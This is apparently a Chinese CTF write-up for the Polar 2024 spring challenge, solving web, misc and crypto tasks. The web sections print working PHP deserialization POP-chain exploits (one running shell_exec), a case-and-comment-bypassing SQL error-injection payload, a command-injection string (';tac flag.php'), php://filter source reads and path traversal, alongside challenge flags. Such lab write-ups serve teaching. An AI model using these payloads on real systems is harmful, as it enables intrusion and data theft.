Polar 2024春季个人挑战赛 Jay17 WP

Polar 2024春季个人挑战赛

Rank：7

【WEB】机器人

开题

起手敏感文件robots.txt

【WEB】PHP反序列化初试

最简单的php反序列化

POC：

<?php
class Easy{public $name;public function __wakeup(){echo $this->name;}
}
class Evil{public $evil;private $env;public function __toString(){$this->env=shell_exec($this->evil);return $this->env;}
}$a=new Easy();
$a->name=new Evil();
$a->name->evil='cat [e-mail]';echo serialize($a);

【WEB】file

开题

点不了开始，直接upload.php

【WEB】PlayGame

直接给了源码

简单反序列化，POC：

<?php
/*
PolarD&N CTF
*/
class User{public $name;public $age;public $sex;public function __toString(){return "name:".$this->name."age:".$this->age."sex:".$this->sex;}public function setName($name){$this->name=$name;}public function setAge($age){$this->$age=$age;}public function setSex($sex){$this->$sex=$sex;}
}
class PlayGame{public $user;public $gameFile="./game";public function openGame(){return 1;//file_get_contents($this->gameFile);}public function __destruct(){echo $this->user->name."GameOver!";}public function __toString(){return $this->user->name."PlayGame ". $this->user->age . $this->openGame();}
}$a=new PlayGame();
$a->user->name=new User();
$a->user->name->name=new PlayGame();
$a->user->name->name->gameFile='../../../../../flag';unserialize(serialize($a));

【WEB】csdn

开题

存在文件包含

被骗了呜呜呜

【WEB】search

开题，一眼SQL

报错注入梭哈了

空格用/**/，大小写绕过

库：CTF

表：Flag,Students

列：Flag

payload：

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/group_cOncat(Flag)/**/frOm/**/CTF.Flag),0x7e),3)#query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/reverse(group_cOncat(Flag))/**/frOm/**/CTF.Flag),0x7e),3)#flag{Polar_CTF_426891370wxbglbnfwaq}

【WEB】PHP_Deserialization

直接给了源码：

<?php/*PolarD&N CTF*/class Polar
{public $night;public $night_arg;public function __wakeup(){echo "hacker";$this->night->hacker($this->night_arg);}}class Night
{public function __call($name, $arguments){echo "wrong call:" . $name . "  arg:" . $arguments[0];}
}class Day
{public $filename="/flag";public function __toString(){$this->filename = str_replace("flag", "", $this->filename);echo file_get_contents($this->filename);return $this->filename;}
}if (isset($_POST['polar'])) {unserialize(base64_decode($_POST['polar']));
} else {highlight_file(__FILE__);
}

双写绕过，POC：

<?php/*PolarD&N CTF*/class Polar
{public $night;public $night_arg;public function __wakeup(){echo "hacker";$this->night->hacker($this->night_arg);}}class Night
{public function __call($name, $arguments){echo "wrong call:" . $name . "  arg:" . $arguments[0];}
}class Day
{public $filename="/flag";public function __toString(){$this->filename = str_replace("flag", "", $this->filename);echo file_get_contents($this->filename);return $this->filename;}
}$a=new Polar();
$a->night=new Night();
$a->night_arg=new Day();
$a->night_arg->filename='/flflagag';echo base64_encode(serialize($a));

payload：

Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

【WEB】覆盖

parse_str函数造成变量覆盖

?id=a[0]=www.polarctf.com&cmd=;tac flag.php

【WEB】uploader

应该是没有过滤，不过得自己写个上传表单

<form action="http://e0aced16-e5c4-4e03-8911-e9b3180ea03c.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" ><input name="file" type="file" /><input type="submit" type="gogogo!" /></form>

【WEB】phar

直接给了源码

读取funs.php

?file=php://filter/read=convert.base64-encode/resource=./funs.php

<?php
include '[e-mail]';
function myWaf($data)
{if (preg_match("/f1@g/i", $data)) {echo "NONONONON0!";return FALSE;} else {return TRUE;}
}class A
{private $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}

private全改public

POC：

<?php
class A
{public $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{public $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{public $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}$a=new A();
$a->a=new B();
$a->a->b['kfc']=new C();
$b['vm50']='flag';
$a->a->b['kfc']->c=$b;echo serialize($a);

payload：

?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

【WEB】Fastjson*

前言：xalan是java操作xml的库，属于java内置的官方库之一，在CC链中主要用到的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。与上篇文章中提到的利用链不同，xalan最终是通过加载字节码来达到代码执行的效果，所以xalan更适合于执行语句的场景，利用xalan来植入内存马会比其他链更加方便。如果目标同时可以使用多条CC链，通常会更倾向于使用xalan相关的链。

待我再研究一下

【REVERSE】一个flag劈三瓣儿

打开就有

【MISC】你懂二维码吗？

解压出现问题打开发现是文件头前多了一串冗余字符，删去成功解压，得到一个需要密码的压缩包，爆破一下发现不行，回到010中查看一下图片，发现类似密码的字符串：

解压果然成功，得到txt打开乱码，010中查看确认到png头，改成png后缀后得到二维码

flag{zun_du_jia_du}

【MISC】加点儿什么

下载得到一张图片老样子010打开发现文件尾有多于字符，根据特征判断为压缩包，用foremost分离后得到一个cpp文件，需要加入什么东西，观察代码发现只要加入打印得到密文的语句即可：

#include<bits/stdc++.h>
using namespace std;
#define MAX 100
char ciphertext[MAX]; //密文
char plaintext[MAX]; //明文
int K=4;void Encryption()
{cout<<"请输入明文："<<endl;gets(plaintext);cout<<"密文为："<<endl;for(int i=0; plaintext[i] != '\0'; i++){if(plaintext[i] >= 'A' && plaintext[i] <= 'Z'){ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';}else if (plaintext[i] >= 'a' && plaintext[i] <= 'z'){ciphertext[i] = (plaintext[i] - 'a' + K) % 26 + 'a';}elseciphertext[i] = plaintext[i];cout << ciphertext[i]; // 修改这里，应该打印加密后的密文}ciphertext[strlen(plaintext)] = '\0'; // 确保添加字符串终止符cout << "\n";
}
void Decryption()
{cout<<"请输入密文："<<endl;gets(ciphertext);cout<<"明文为："<<endl;for(int i=0; ciphertext[i] != '\0'; i++){if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z'){plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26) % 26 + 'A';}else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){plaintext[i] = ((ciphertext[i] - 'a' - K) % 26 + 26) % 26 + 'a';}elseplaintext[i] = ciphertext[i];cout << plaintext[i]; // 修改这里，确保在解密过程中打印每个解密后的字符}plaintext[strlen(ciphertext)] = '\0'; // 确保添加字符串终止符cout << "\n";
}
int main()
{int n,flag=1;while(flag){cout<<"请选择（1:加密，2:解密,3:退出）："<<endl;cin>>n;getchar(); // 用于捕获并丢弃输入流中的换行符switch(n){case 1:Encryption();break;case 2:Decryption();break;case 3:exit(0);}}
}

flag{372658619FE0707E8C64DB2400B96991}

【CRYPTO】周杰伦的贝斯

附件：

👊👢👧👉👎🐽👅👁👈🐧👉👆👈👣👟👐👊👱🐧🐰👇👈🐴🐴

一眼base100

【CRYPTO】歌词最后一句

题目描述：找到歌词最后一句MD5加密套上flag

附件：

跳舞小人是WYDOSNOWSB

11月的肖邦是个专辑，tmd全部试一遍吧。

【CRYPTO】rsaaa

附件：

e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
c =75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506

脚本：

from gmpy2 import *
from Crypto.Util.number import *import gmpy2
def Decrypt(c,e,p,q):L=(p-1)*(q-1)#print(L)d=gmpy2.invert(e,L)   # ed=1+k(p-1)*(q-1)n=p*qm=gmpy2.powmod(c,d,n)   #m=c^d mod nflag=str(m)print("ctfshow{"+flag+"}")print(long_to_bytes(m))print(m)
if __name__ == '__main__':e = 65537p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407c = 75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506Decrypt(c,e,p,q)